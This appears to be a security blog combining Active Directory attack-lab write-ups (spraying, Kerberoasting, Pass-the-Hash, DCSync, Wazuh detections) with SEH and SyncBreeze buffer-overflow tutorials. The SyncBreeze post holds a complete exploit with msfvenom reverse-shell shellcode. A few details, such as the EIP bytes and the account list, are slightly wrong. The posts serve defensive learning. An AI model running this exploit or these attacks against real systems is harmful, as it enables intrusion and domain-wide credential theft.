One thing worth noting here: this event is dated the following day, separate from the rest of the attack chain which ran on the evening of March 30. In a real investigation, that would raise a question immediately: did the attacker return, or is this a separate tool run? In this lab it reflects the Phase 3 detection rule testing re-run rather than the original attack session. It’s a real forensic observation worth calling out.

The preAuthType field confirms it: Logon without Pre-Authentication, the misconfiguration on asimmons’s account that made this attack possible.

Event ID 4728 — Member Added to Privileged Group (Privilege Escalation)

Event 4728 fires when a user is added to a security-enabled global group. In this case, Domain Admins.

The payload is unambiguous: Target: CORP\Domain Admins, Member: CN=Ava Simmons, OU=Finance, DC=corp.... asimmons was promoted to Domain Admin.

Timestamp: 2026-03-30 23:52:18, over two hours after first contact. The attacker spent that time working through the credential attacks before escalating.

Event ID 4662 — Directory Replication (DCSync)

The final filter: 4662 events filtered to the DS-Replication GUIDs. The tell for DCSync isn’t a single event. It’s a tight burst of replication requests in a very short window.

The burst begins at 2026-03-30 23:54:14, approximately two minutes after asimmons was elevated to Domain Admin. The attacker didn’t wait.

“Operation performed on an object” repeated across dozens of events. Each one is secretsdump.py pulling a portion of the domain’s hash database. By the time the burst ends, every account hash in corp.local has been exfiltrated.

Forensic Q&A

1. What was the exact timestamp of the first hostile event? 2026-03-30 21:32:45. Kerberos pre-authentication failures (Event 4771) from 192.168.93.156. The Kerberos spray preceded the SMB spray by twelve minutes.

2. How many unique accounts were targeted in the spray? 15 accounts across both spray methods: lrivera, dprice, ebrooks, gcoleman, nbennett, jperry, mturner, ehughes, hross, chayes, lfoster, mcooper, sward, asimmons, and sward. Every domain user was targeted.

3. Which accounts were Kerberoasted? What encryption type? svc_sql and svc_backup. Both requested with TicketEncryptionType: RC4-HMAC (0x17), the weaker encryption type that makes offline cracking viable.

4. Which account was AS-REP roasted? asimmons (CORP.LOCAL\asimmons). The preAuthType field shows “Logon without Pre-Authentication”, confirming the misconfiguration that exposed her account.

5. What IP address conducted all the attacks? 192.168.93.156, present across every attack event: 4771, 4625, 4769, 4768, 4624, and 4662.

6. What account was used for Pass-the-Hash? What was the logon process? Multiple accounts were targeted in the PtH sweep, including asimmons, svc_sql, and svc_backup. The logon process in every case was NtLmSsp, the indicator that distinguishes hash-based authentication from normal Kerberos logons on a domain network.

7. When was asimmons elevated to Domain Admin? What event captures that? 2026-03-30 23:52:18. Event ID 4728, “A member was added to a security-enabled global group,” with Target: CORP\Domain Admins and Member: CN=Ava Simmons.

8. When did DCSync occur? How many 4662 events fired? The burst begins at 2026-03-30 23:54:14. The tight cluster of 4662 events visible in Timeline Explorer spans dozens of records, each one representing a portion of the directory replication pull from secretsdump.py.

9. What is the total dwell time from first event to DCSync? From 2026-03-30 21:32:45 (first 4771) to 2026-03-30 23:54:14 (DCSync begins): 2 hours, 21 minutes, 29 seconds.

10. Was the Windows 10 workstation directly touched at any point? No. All hostile activity was directed from 192.168.93.156 straight to the DC. The W10 workstation logs show no indicators of compromise. Once valid credentials were obtained from the spray, the path to the DC was direct.

Attack Timeline

Timestamp	Source IP	Machine	Event ID	Description
2026-03-30 21:32:45	192.168.93.156	DC01	4771	Password spray: Kerberos pre-auth failures across 13+ accounts
2026-03-30 21:44:07	192.168.93.156	DC01	4624 (Type 3, NtLmSsp)	Pass-the-Hash: NTLM network logons begin
2026-03-30 21:44:20	192.168.93.156	DC01	4625	Password spray: failed NTLM logons across 15 accounts
2026-03-30 21:51:32	192.168.93.156	DC01	4769	Kerberoasting: RC4-HMAC tickets requested for svc_sql, svc_backup
2026-03-31 16:57:02	192.168.93.156	DC01	4768	AS-REP Roasting: asimmons, Logon without Pre-Authentication
2026-03-30 23:52:18	DC01 (local)	DC01	4728	Privilege escalation: asimmons added to Domain Admins
2026-03-30 23:54:14	192.168.93.156	DC01	4662	DCSync: full domain hash dump via directory replication

Total dwell time: 2 hours, 21 minutes, 29 seconds.

What This Lab Produced

Four parts. One complete attack chain, from reconnaissance spray to full domain compromise, with detection rules that fire on attacks and stay silent on normal traffic, and a forensic timeline built entirely from evidence.

The GitHub repo has everything: detection rules, attack playbook, MITRE ATT&CK coverage, and this investigation writeup. All of it built by hand from raw logs.

AD Attack Lab (Part 1) - Lab Build & Environment Setup

2026-03-30T00:00:00+00:00

Setting the Stage

If you’re going into SOC work, Active Directory attacks aren’t just something you’ll read about. They show up in your first interview, your first alert queue, and eventually your first real incident. Kerberoasting, AS-REP Roasting, Pass-the-Hash, and DCSync are table-stakes topics. I built this lab to have real hands-on experience with all of them: generating actual attack telemetry, building detection rules from the raw logs, and investigating the aftermath the way an analyst would.

This first post covers the lab build: getting the environment up, configured, and verified before a single attack runs. Boring? Maybe. But a sloppy lab environment means garbage telemetry, and garbage telemetry means you can’t trust your detections.

Infrastructure

The setup is intentionally minimal. You don’t need complexity here. You need clean telemetry.

Machine	Role
Windows Server 2022	Domain Controller (`corp.local`)
Windows 10 (22H2)	Victim workstation, domain-joined
Kali Linux	Attacker
Wazuh (existing)	SIEM + detection platform

All VMs are on an isolated internal network. The Wazuh instance was already running from a previous project, so enrollment was straightforward.

Building the Domain

After promoting Windows Server 2022 to a Domain Controller for corp.local, the first task was creating a realistic OU structure and user population. A flat domain with no structure doesn’t reflect anything you’d find in a real environment, and it also makes it harder to simulate targeted attacks against specific user groups.

I created three OUs: IT, Finance, and HR, and populated them with a mix of dummy user accounts. The goal wasn’t a perfect simulation; it was enough realistic structure to make attack targeting meaningful.

Planting the Attack Targets

Kerberoastable Service Accounts

Kerberoasting works by requesting Kerberos service tickets (TGS) for accounts that have Service Principal Names (SPNs) registered. Any domain user can request these tickets, and if the account uses RC4 encryption, the ticket is crackable offline with hashcat. Real environments are full of old service accounts with SPNs and weak passwords. This is not an exotic attack.

I registered SPNs for two service accounts: svc_sql (simulating a SQL service) and svc_backup (simulating a backup service). Both were given weak passwords.

The setspn -A command registers the SPN, and setspn -L confirms it took. Both accounts now show up as valid Kerberoasting targets when enumerated from the attacker machine.

AS-REP Roastable Account

AS-REP Roasting targets accounts that have Kerberos pre-authentication disabled. When pre-auth is off, anyone can request an AS-REP for that account without proving who they are first. The response contains an encrypted blob crackable offline.

For user asimmons, I checked “Do not require Kerberos preauthentication” in the account properties.

This is a misconfiguration that still exists in real environments, usually on legacy service accounts or accounts that were set up that way for a specific application and never cleaned up.

Sysmon + Wazuh Agent Enrollment

With the domain built and attack targets in place, the next step was getting visibility before touching the attack phase. Running attacks before your logging is confirmed is how you end up with incomplete evidence and detection rules that don’t fire the way you expect.

I deployed Sysmon on both the DC and the workstation using SwiftOnSecurity’s config. This config is well-maintained and covers the event types that matter most for this lab: process creation, network connections, file creation, and registry modifications.

Both machines were then enrolled as Wazuh agents.

The Wazuh dashboard shows both agents active: the Windows Server 2022 DC and the Windows 10 workstation, both reporting in and healthy.

Baseline Check: Confirming Logs Flow Before Attacking

Before running any attacks, I verified that security events were actually landing in Wazuh as expected. The specific check was Event ID 4769 (Kerberos service ticket requests), which is the primary detection target for Kerberoasting. If that event doesn’t show up cleanly in Wazuh, the detection rules won’t have anything to trigger on.

The Wazuh Discover view shows a 4769 event with the expected fields: account name, service name, ticket encryption type. The log pipeline is working. The lab is ready.

What’s Next

With the environment verified, the next phase is the attack execution: password spray, Kerberoasting, AS-REP Roasting, Pass-the-Hash, and DCSync, all run from Kali, each confirmed in Wazuh before moving to the next. After that, detection engineering: writing Wazuh rules from the raw logs, mapping to MITRE ATT&CK, and testing them against re-run attacks.

AD Attack Lab (Part 2) - Running the Attacks

2026-03-30T00:00:00+00:00

In Part 1, I built the lab: the domain, the user accounts, the vulnerable configurations, and the logging pipeline. Everything was verified before a single attack ran. This post is where things get interesting.

I’ll walk through five attacks that follow a realistic attacker progression: starting with credential testing, escalating to stealthy ticket abuse, and finishing with full domain compromise. After each attack, I’ll show what it looked like in Wazuh. The goal isn’t just to run the attacks. It’s to see exactly what a SOC analyst would see on the other side.

Attack 1: Password Spraying

What It Is

Password spraying is one of the first things an attacker does when they’ve identified valid usernames in a domain. Instead of hammering one account with many passwords (which triggers lockouts), they try one or two common passwords across every account in the organization. It’s slow, quiet, and effective, especially in environments where users choose predictable passwords.

Think of it like a burglar trying the same master key on every door in a building rather than picking one lock repeatedly.

Running the Attack

I had two wordlists ready: a list of domain usernames (users.txt) harvested from the domain, and a short password list (pass.txt) with a handful of common corporate-style passwords including Winter2026!.

I ran the spray twice, first with kerbrute (which tests passwords against Kerberos directly) and then with netexec over SMB. Both tools are commonly used in real engagements.

Kerbrute confirmed a valid credential hit. The password Winter2026! belonged to a real domain account.

The netexec output shows a wall of STATUS_LOGON_FAILURE responses. That’s exactly what a spray looks like at the protocol level.

What Wazuh Saw

Every failed logon attempt generates a Windows security event. Wazuh picked up the spike immediately.

Event ID 4625 is a failed logon. A handful of these is normal. Dozens across multiple accounts in a short window is a spray. Wazuh logged 28 hits from the DC in a tight timeframe. Clear pattern.

The Kerberos-specific failures showed up separately.

Event ID 4771 is a Kerberos pre-authentication failure, the Kerberos equivalent of a wrong password. 27 hits. Same tight window. Same story.

A detection rule keying on rapid 4625/4771 spikes from a single source IP would catch this in a real environment.

Attack 2: Kerberoasting

What It Is

Kerberoasting takes advantage of how Windows handles service accounts through Kerberos, its built-in authentication protocol. Any authenticated domain user can request a ticket to access a service. That ticket is encrypted using the service account’s password hash. If the account uses an older, weaker encryption type (RC4, identified by 0x17), an attacker can take that ticket offline and crack it with something like hashcat. No further access to the domain required.

The attack is popular because it requires no special privileges and generates activity that looks like normal service access at first glance.

Running the Attack

Before running the attack, I mapped the DC’s IP to corp.local in Kali’s hosts file so the tooling could resolve the domain correctly.

Then I used GetUserSPNs.py from the Impacket toolkit, authenticated as a low-privileged domain user, to enumerate all accounts with Service Principal Names registered. These are the Kerberoasting targets.

Both svc_sql and svc_backup showed up. These are the two accounts I set up in Part 1. The tool automatically requested their service tickets and wrote the hashes to a file.

Those long strings are Kerberos service ticket hashes. Taken offline to hashcat, they crack against a wordlist, and since svc_sql was using Winter2026!, it would crack in seconds using a rule file and rockyou.txt.

What Wazuh Saw

The smoking gun for Kerberoasting is Event ID 4769 (a Kerberos service ticket request) combined with a ticket encryption type of 0x17 (RC4). Modern environments use AES encryption (0x12 or 0x11). RC4 requests stand out.

There it is: targetUserName: svc_sql@CORP.LOCAL, ticketEncryptionType: 0x17, Event ID 4769. This is the exact fingerprint of a Kerberoasting attempt.

Wazuh pulled 7 matching events. A detection rule filtering for 4769 where the encryption type is 0x17 and the service name doesn’t end in $ (which filters out normal computer account traffic) would alert on this cleanly.

Attack 3: AS-REP Roasting

What It Is

AS-REP Roasting targets a specific misconfiguration: accounts with “Do not require Kerberos preauthentication” enabled. Pre-authentication is a security check that forces the client to prove they know the password before Kerberos will respond. When it’s disabled, anyone can request an authentication response for that account without credentials. The response contains a hash that can be cracked offline.

It’s a quieter variant of Kerberoasting that targets user accounts rather than service accounts.

Running the Attack

I used GetNPUsers.py from Impacket, which automatically scans for accounts with pre-auth disabled and requests their AS-REP hashes.

Most accounts returned errors (“doesn’t have UF_DONT_REQUIRE_PREAUTH set”), but asimmons, the account I configured in Part 1, handed over its hash without any credentials required.

What Wazuh Saw

AS-REP Roasting generates Event ID 4768 (a Kerberos authentication ticket request). The tell is the same 0x17 encryption type combined with a user account (not a service account).

targetUserName: asimmons, ticketEncryptionType: 0x17, Event ID 4768. Same encryption fingerprint as Kerberoasting, different event ID, targeting a user account instead of a service account.

A detection rule on 4768 with 0x17 encryption would catch this, and in a well-tuned environment, any 4768 event with RC4 from an unexpected source is worth investigating.

Attack 4: Pass-the-Hash

What It Is

Once an attacker has an NTLM hash (how Windows stores and transmits passwords internally), they don’t always need to crack it. They can use the hash directly to authenticate as that user across the network. This is called Pass-the-Hash, and it’s one of the reasons credential dumping is so dangerous: you don’t need the plaintext password to move laterally.

Running the Attack

The cracked password from Kerberoasting was Winter2026!. I converted it to its NTLM hash directly in Python to simulate having obtained it through a dump rather than cracking.

The resulting hash 186f5176db2c519a7b29b47a5437a4ad is all that’s needed. I passed it to netexec targeting the domain controller over SMB.

Successful authentication to the DC as a compromised user. No password typed, no cracking required.

What Wazuh Saw

Pass-the-Hash over the network generates Event ID 4624 (successful logon), but with two specific characteristics: Logon Type 3 (network logon) and the authentication package NTLM rather than Kerberos. The NTLM logon from a network source with no linked logon ID is a consistent indicator.

The event shows Logon Type 3 for account ebrooks, a network logon. Legitimate network logons happen constantly in AD environments, but the NTLM authentication package in a Kerberos-capable domain is the flag.

Wazuh captured 13 matching events. The NtLmSsp logon process highlighted in the results is the specific indicator. A detection rule combining Event 4624, Logon Type 3, and LogonProcessName: NtLmSsp from a workstation or server (not a DC-to-DC logon) is a solid Pass-the-Hash detection starting point.

Attack 5: DCSync

What It Is

DCSync is the endgame. Domain Controllers in an Active Directory environment regularly sync password data between each other using a legitimate Windows replication protocol. DCSync abuses this: an attacker with the right domain privileges can impersonate a DC and request that replication data, which includes the NTLM hashes of every user in the domain, including the Administrator account. Full domain compromise.

To pull this off, the attacker needs an account with replication privileges. In a real breach, this is earned gradually. In the lab, I added asimmons (the AS-REP Roasted account) to Domain Admins to simulate a privilege escalation scenario.

Running the Attack

With asimmons as a Domain Admin, I ran secretsdump.py from Impacket, authenticated as asimmons using the cracked password.

The output is a full dump of every account’s NTLM hash in the domain: Administrator, svc_sql, svc_backup, every user. With the Administrator hash, an attacker can authenticate to any machine in the domain. The environment is fully compromised.

What Wazuh Saw

DCSync activity leaves a trace in the Windows Directory Services event log. Event ID 4662 fires when an object in Active Directory is accessed with specific replication permissions. The relevant GUIDs identify replication operations: 1131f6aa and 1131f6ad (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All).

Wazuh returned 396 events tied to asimmons performing directory replication access. A detection rule on Event 4662 filtered to those specific GUIDs, where the subject account is not a known DC computer account, is the standard DCSync detection.

What’s Next

Five attacks, five detection signals, all confirmed in Wazuh. The next phase is turning those signals into proper detection rules: writing the Wazuh XML, testing each rule fires on the attack, and mapping everything to MITRE ATT&CK. That’s where the SOC analyst work really begins.

Building SEH Overflow Exploits

2026-02-25T00:00:00+00:00

My journey learning how to develop exploits for vulnerable programs has been eye-opening. Forcing yourself to understand the smaller moving parts - binary, CPU registers, Windows structures, and APIs - is a lot to take in. The difference between a standard buffer overflow and an SEH overflow can feel especially intimidating.

If you do not already know C, as was the case for me, you end up learning new concepts, taking detours, and working through one rabbit hole after another. The goal of this post is to make SEH overflows easier to understand for newer readers, including those who may not come from a deeply technical background.

I will start by explaining what an SEH overflow is, how to exploit it, then I will briefly cover why exploit portability matters across different target systems.

What is an SEH overflow?

Windows uses SEH to manage exceptions that occur while a program is running, and stands for “Structured Exception Handling”.

At a high level, an SEH overflow happens when an attacker can overwrite both a buffer and the SEH handler information stored alongside it.

If you have written code before, you can think of it like try/except logic: something goes wrong, the program attempts to handle it, and execution may continue instead of stopping immediately.

Examples of exceptions include dividing by zero or supplying unexpected input that the program does not know how to process. It’s better to print an error than to crash the whole program.

The image below shows a simplified version of the concept. An attacker first sends input that fills the Normal Buffer Space and continues into the Extra Bytes region. They then use 8 carefully chosen bytes to overwrite the SEH record. Finally, although it is not shown here, they place shellcode at a location they can reach after redirecting execution through that overwritten SEH record, allowing them to gain unauthorized access.

This is the core of the exploit, so it is worth understanding before moving on.

For readers who are newer to this topic, shellcode is machine-level data, often written as hexadecimal bytes, that a processor can execute as instructions. In practice, an attacker can write assembly code and then convert it into hex bytes using tools such as keystone-engine.

If you want a quick reference for common ASCII and hexadecimal values, this chart is useful: https://ss64.com/ascii.html

How Windows structures and handles SEH

This part is easier to follow once you see how Windows organizes the relevant structures in memory. The Vergilius Project is especially helpful because it documents Windows kernel structures and their offsets clearly.

Starting with the TEB (Thread Environment Block), the _NT_TIB structure contains a pointer to an _EXCEPTION_REGISTRATION_RECORD. That structure contains two important fields: the Next pointer and the Handler pointer.

It’s a mouthful and can be difficult to read, but it makes much more sense if you understand how C structures work, and if you can click around on the Vergilius project yourself to see where each pointer leads you to.

_EXCEPTION_REGISTRATION_RECORD

_EXCEPTION_REGISTRATION_RECORD entries form a linked list. In practice, Windows calls the handler to process the exception. If that handler cannot resolve the error, Windows follows the Next pointer and tries the next handler in the chain. This continues until there are no more handlers left to try, at which point the program crashes.

From an exploitation standpoint, the goal is to overwrite the Handler and Next so it points to instructions that eventually transfer execution to our shellcode. To do that reliably, we need to find a static location in memory inside the target application or one of its modules that contains instructions we can reuse.

For simplicity, I am not covering how to locate these instructions in memory here. If you want to explore that process, I have included references below for further learning.

P/P/R Instruction

So what instructions do we need, and why?

When the handler is called on x86 systems, Windows provides four exception handler arguments that are pushed onto the stack:

typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (
    IN PEXCEPTION_RECORD ExceptionRecord,
    IN VOID EstablisherFrame,
    IN OUT PCONTEXT ContextRecord,
    IN OUT PDISPATCHER_CONTEXT DispatcherContext
);

The most important one for this discussion is EstablisherFrame, because it points back to the current exception registration record’s Next.

In a classic SEH exploit, we often look for a pop pop ret sequence. The two pop instructions discard stack values placed there for the exception handler call, and the ret then transfers execution using the EstablisherFrame pointer. Because EstablisherFrame points to the current exception registration record, execution is redirected back into the overwritten SEH record, starting at the Next field.

ESP -> [ Return address to the OS exception dispatcher ] <- first pop  
       [ ExceptionRecord ]                               <- second pop  
       [ EstablisherFrame ]                              <- ret uses this  
       [ ContextRecord ]  
       [ DispatcherContext ]

So, what do we overwrite `Next` with?

A common approach is to overwrite the Next pointer with 06eb9090, which is jmp +6 followed by two NOPs. This causes execution to jump over the remaining bytes of the SEH record and land in shellcode placed immediately after it.

So, the overwritten SEH record should look like:

Next       ; jmp +6 
Handler    ; Memory address to ppr instruction, we jump over this

Finishing Touches

The final step is getting execution cleanly into the payload.

In one of my public exploits, disk_pulse_seh_v10.0.12.py, I use an add sp, 0xf5c instruction followed by jmp esp so that EIP reaches the shellcode. It works, but it is not a strong long-term approach because it depends on a specific offset. That hurts exploit portability. We will not always know exactly where the shellcode will land across systems, versions, or environments.

That is why the next step is learning about egghunters. They provide a more flexible way to locate shellcode in memory without depending on one exact stack offset. I will cover that in the next post.

I have published two SEH overflow exploits here for anyone to look at:

Exploit-Development repository

I have intentionally left out some of the lower-level workflow details here - such as finding the exact SEH offset, building custom opcodes, and locating useful instructions in memory - so this post can stay focused on the big picture.

If you want to go deeper and start building these yourself, these are useful places to start:

msf-pattern_create and msf-pattern_offset for finding offsets in both SEH and standard overflows
msf-nasm_shell for generating opcodes
The narly WinDbg extension for checking which modules were compiled with SafeSEH, ASLR, and DEP
WinDbg scripting and command usage for locating instruction sequences in memory, including pop/pop/ret

How to safeguard against SEH overflows

Understanding the offensive side is only useful if we also understand how to defend against it.

At the compiler and platform level, protections such as SafeSEH, ASLR, SEHOP, and DEP make SEH-based exploitation much harder. These features reduce an attacker’s ability to reuse predictable in-memory addresses and help Windows detect corrupted exception chains at runtime.

Even if an overflow still exists, these mitigations can significantly reduce the chance that it becomes a working exploit.

The next layer is secure coding. Buffer overflows happen when user-controlled input is allowed to write past the intended boundary of a buffer. Avoid unsafe copy operations and unchecked string handling. Validate lengths before writing, use bounded APIs, and track buffer sizes explicitly.

Finally, make post-exploitation harder as well. Use modern antivirus and EDR solutions to improve your chances of detecting or blocking payload execution. Not every attacker relies on generic, easy-to-detect, heavily signatured Metasploit payloads, so layered defenses still matter.

Building SyncBreeze Exploits (Part 1) - 10.0.28 Buffer Overflow

2026-02-05T00:00:00+00:00

We’ve all heard the term “script kiddie” someone who can run an exploit but doesn’t truly understand how or why it works. They may know what a vulnerability does, but not why it exists or how it could be fixed.

For a long time, I wanted to move beyond that surface-level understanding. I wanted to read documentation, reverse engineer behavior, and build an exploit from the ground up rather than copying one blindly.

In this post, I walk through how I built a working exploit for SyncBreeze v10.0.28, an intentionally vulnerable and outdated application. The goal is not just exploitation, but understanding: what went wrong, how control was gained, and what could have prevented it.

This walkthrough is written to be approachable for non-technical readers while still showing the real mechanics behind a memory corruption vulnerability.

Why SyncBreeze?

The version of SyncBreeze used here is nearly a decade old. As is often the case with legacy software, modern security protections were either absent or disabled.

A publicly verified exploit already exists for this version, which made it a useful reference point:

https://www.exploit-db.com/exploits/42928

Rather than using it directly, I used it as a jumping off point to understand the core of the vulnerability, to cut time finding and enumerating the vulnerable buffer overflow endpoint myself.

Lab Setup

To reproduce and analyze the issue safely, I set up a small lab environment:

Windows 10 (32-bit) virtual machine
SyncBreeze 10.0.28
Process Hacker (for inspecting memory and loaded modules)
WinDbg (for debugging crashes)

Understanding the Vulnerability

At its core, this vulnerability is a buffer overflow.

A buffer overflow happens when a program allocates a fixed amount of memory for input but does not properly enforce size limits. When more data is written than the buffer can hold, the extra data overwrites adjacent memory.

In this case, user-controlled input overwrites the instruction pointer—the value that tells the CPU what code to execute next. Once that pointer is under attacker control, arbitrary code execution becomes possible.

To reliably exploit this condition, three things are required:

Determine exactly how much input is needed to overwrite the instruction pointer
Find a reliable way to redirect execution to attacker-controlled data
Ensure the payload avoids characters that break execution

Triggering the Crash

To identify where the overflow occurs, I wrote a simple Python script that sends an oversized HTTP request to the vulnerable login endpoint.

#!/usr/bin/python
import socket
import sys

try:    
        server = sys.argv[1]
        port = 80 
        size = 800
        inputBuffer = b"A" * size
        content = b"username=" + inputBuffer + b"&password=A"
        
        
        buffer = b"POST /login HTTP/1.1\r\n"
        buffer += b"Host: " + server.encode() + b"\r\n"
        buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
        buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
        buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
        buffer += b"Referer: http://192.168.0.148/login\r\n"
        buffer += b"Connection: close\r\n"
        buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
        buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
        buffer += b"\r\n"
        buffer += content
        print("Sending evil buffer...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(buffer)
        s.close()
        print("Done!")
except socket.error:
        print("Could not connect!")

Initially, the payload consisted of 800 repeated characters. This reliably caused the application to crash, which confirmed the presence of a buffer overflow.

(Aftermath of the python script execution)

However, simply crashing the program isn’t enough. To exploit it precisely, we need to know exactly how many bytes are required to overwrite the instruction pointer.

Finding the Exact Offset

To do this, I replaced the repeated characters with a unique pattern generated by Metasploit tools:

msf-pattern_create
msf-pattern_offset

The process works like this:

Send a unique pattern instead of repeating characters
Observe the value placed into the instruction pointer during the crash
Use that value to calculate the exact offset

This revealed that 780 bytes were required to reach the instruction pointer, followed by 4 bytes that fully control it.

With this information, the input could be structured precisely instead of guessing. The code snippet below shows the changes made to illustrate this

try:
	server = sys.argv[1]
	port = 80
	size = 800
	filler = b"A" * 780 # Filler to trigger the overflow
	eip = b"B" * 4      # The 4 bytes that land on the EIP
	buf = b"C" * 16     # 16 filler bytes for debugger purposes
	inputBuffer = filler + eip + buf

Controlling Execution Flow

Once control over the instruction pointer was confirmed, the next step was redirecting execution to attacker-supplied code. In this case, we can generate shellcode, and store it in another register (ESP). But, the issue then becomes, how do we get the instruction pointer to execute our shellcode stored in the register?

A common and reliable technique in older applications is using a JMP ESP instruction. This causes execution to jump where we’ve stored our malicious shellcode.

Because SyncBreeze does not use modern protections like:

Address Space Layout Randomization (ASLR)
Data Execution Prevention (DEP)

it was possible to reference a static memory address containing this instruction.

Using Process Hacker, I located a suitable JMP ESP instruction in a loaded DLL file that had no memory protections enabled, gdi32full.dll.

From the picture, we can see exactly where in memory the jmp esp opcode resides: 7565518a. And since there are no memory protections enabled, this address remains static in every execution of the program.

Now, the final layout of code for the python script should start to make sense:

filler = b"A" * 780       # Trigger the overflow
eip = b"\x9a\x51\x65\x75" # gdi32full.dll "jmp esp" opcode
offset = b"C" * 4         # 4 bytes to fill in order to reach ESP
shellcode = "shellcode"   # We will place our shellcode here

Avoiding Bad Characters

We’ve solved 2 of the 3 main problems, but we still have 1 more issue to resolve to exploit the system fully.

Not all byte values are safe in shellcode for execution. Certain characters are interpreted as delimiters or control characters and can corrupt the payload.

Through testing, the following bytes were identified as unsafe:

0x0A - Line feed
0x0D - Carriage Return
0x25 - %
0x26 - &
0x2B - +
0x3D - =

For readability, I’ve shown which bytes correspond to what Operations/ASCII characters. It should make sense that we can’t use %&+=, since the vulnerable endpoint is a web application login form. Those characters could mangle and disrupt proper execution.

All shellcode used in the exploit was generated with these characters explicitly excluded.

Generating Shellcode

To generate a reverse shell payload while avoiding bad characters, I used msfvenom with an encoder:

Payload: windows/shell_reverse_tcp
Encoder: x86/shikata_ga_nai

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.148 LPORT=443 -f python –e x86/shikata_ga_nai -b "\x00\x0aD\x0d\x25\x26\x2b\x3d" EXITFUNC=thread

An encoder obfuscates the shellcode so it avoids restricted characters and decodes itself safely at runtime.

EXITFUNC=thread was passed to avoid the program from completely crashing if something happens to our reverse shell.

Final Exploit Behavior

When the exploit is executed:

The oversized request overflows the buffer
The instruction pointer is overwritten with a JMP ESP address
Execution jumps to attacker-controlled memory
The payload decodes and launches a reverse shell

From an attacker’s perspective, this results in full remote code execution under the privileges of the vulnerable service.

Below is the full exploit I’ve built. Note, I’ve changed around some variables for readability.

#!/usr/bin/python
import socket
import sys
try:
        server = sys.argv[1]
        port = 80
        size = 800
        filler = b"A" * 780       # Triggers the overflow
        eip = b"\x9a\x51\x65\x75" # gdi32full.dll "jmp esp" opcode
        offset = b"C" * 4         # Filler space to reach ESP register
        nop = b"\x90" * 10        # NOP sled to ensure clean execution

		# Bad characters: 0x0A 0x0D 0x25 0x26 0x2B 0x3D
        buf =  b""
        buf += b"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
        buf += b"\x81\x76\x0e\x9c\xd2\xa2\x3e\x83\xee\xfc\xe2\xf4"
        buf += b"\x60\x3a\x20\x3e\x9c\xd2\xc2\xb7\x79\xe3\x62\x5a"
        buf += b"\x17\x82\x92\xb5\xce\xde\x29\x6c\x88\x59\xd0\x16"
        buf += b"\x93\x65\xe8\x18\xad\x2d\x0e\x02\xfd\xae\xa0\x12"
        buf += b"\xbc\x13\x6d\x33\x9d\x15\x40\xcc\xce\x85\x29\x6c"
        buf += b"\x8c\x59\xe8\x02\x17\x9e\xb3\x46\x7f\x9a\xa3\xef"
        buf += b"\xcd\x59\xfb\x1e\x9d\x01\x29\x77\x84\x31\x98\x77"
        buf += b"\x17\xe6\x29\x3f\x4a\xe3\x5d\x92\x5d\x1d\xaf\x3f"
        buf += b"\x5b\xea\x42\x4b\x6a\xd1\xdf\xc6\xa7\xaf\x86\x4b"
        buf += b"\x78\x8a\x29\x66\xb8\xd3\x71\x58\x17\xde\xe9\xb5"
        buf += b"\xc4\xce\xa3\xed\x17\xd6\x29\x3f\x4c\x5b\xe6\x1a"
        buf += b"\xb8\x89\xf9\x5f\xc5\x88\xf3\xc1\x7c\x8d\xfd\x64"
        buf += b"\x17\xc0\x49\xb3\xc1\xba\x91\x0c\x9c\xd2\xca\x49"
        buf += b"\xef\xe0\xfd\x6a\xf4\x9e\xd5\x18\x9b\x2d\x77\x86"
        buf += b"\x0c\xd3\xa2\x3e\xb5\x16\xf6\x6e\xf4\xfb\x22\x55"
        buf += b"\x9c\x2d\x77\x6e\xcc\x82\xf2\x7e\xcc\x92\xf2\x56"
        buf += b"\x76\xdd\x7d\xde\x63\x07\x35\x54\x99\xba\x62\x96"
        buf += b"\x9c\x46\xca\x3c\x9c\xd3\x19\xb7\x7a\xb8\xb2\x68"
        buf += b"\xcb\xba\x3b\x9b\xe8\xb3\x5d\xeb\x19\x12\xd6\x32"
        buf += b"\x63\x9c\xaa\x4b\x70\xba\x52\x8b\x3e\x84\x5d\xeb"
        buf += b"\xf4\xb1\xcf\x5a\x9c\x5b\x41\x69\xcb\x85\x93\xc8"
        buf += b"\xf6\xc0\xfb\x68\x7e\x2f\xc4\xf9\xd8\xf6\x9e\x3f"
        buf += b"\x9d\x5f\xe6\x1a\x8c\x14\xa2\x7a\xc8\x82\xf4\x68"
        buf += b"\xca\x94\xf4\x70\xca\x84\xf1\x68\xf4\xab\x6e\x01"
        buf += b"\x1a\x2d\x77\xb7\x7c\x9c\xf4\x78\x63\xe2\xca\x36"
        buf += b"\x1b\xcf\xc2\xc1\x49\x69\x42\x23\xb6\xd8\xca\x98"
        buf += b"\x09\x6f\x3f\xc1\x49\xee\xa4\x42\x96\x52\x59\xde"
        buf += b"\xe9\xd7\x19\x79\x8f\xa0\xcd\x54\x9c\x81\x5d\xeb"
        
        
        inputBuffer = filler + eip + offset + nop + buf


        content = b"username=" + inputBuffer + b"&password=A"
        buffer = b"POST /login HTTP/1.1\r\n"
        buffer += b"Host: " + server.encode() + b"\r\n"
        buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
        buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
        buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
        buffer += b"Referer: http://10.10.10.10/login\r\n"
        buffer += b"Connection: close\r\n"
        buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
        buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
        buffer += b"\r\n"
        buffer += content
        print("Sending Buffer")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((server, port))
        s.send(buffer)
        s.close()
        print("Done!")
except socket.error:
        print("Could not connect!")

What Went Wrong (and How to Prevent It)

The most obvious mitigation is simple: do not run outdated software. This vulnerability has been publicly documented for years.

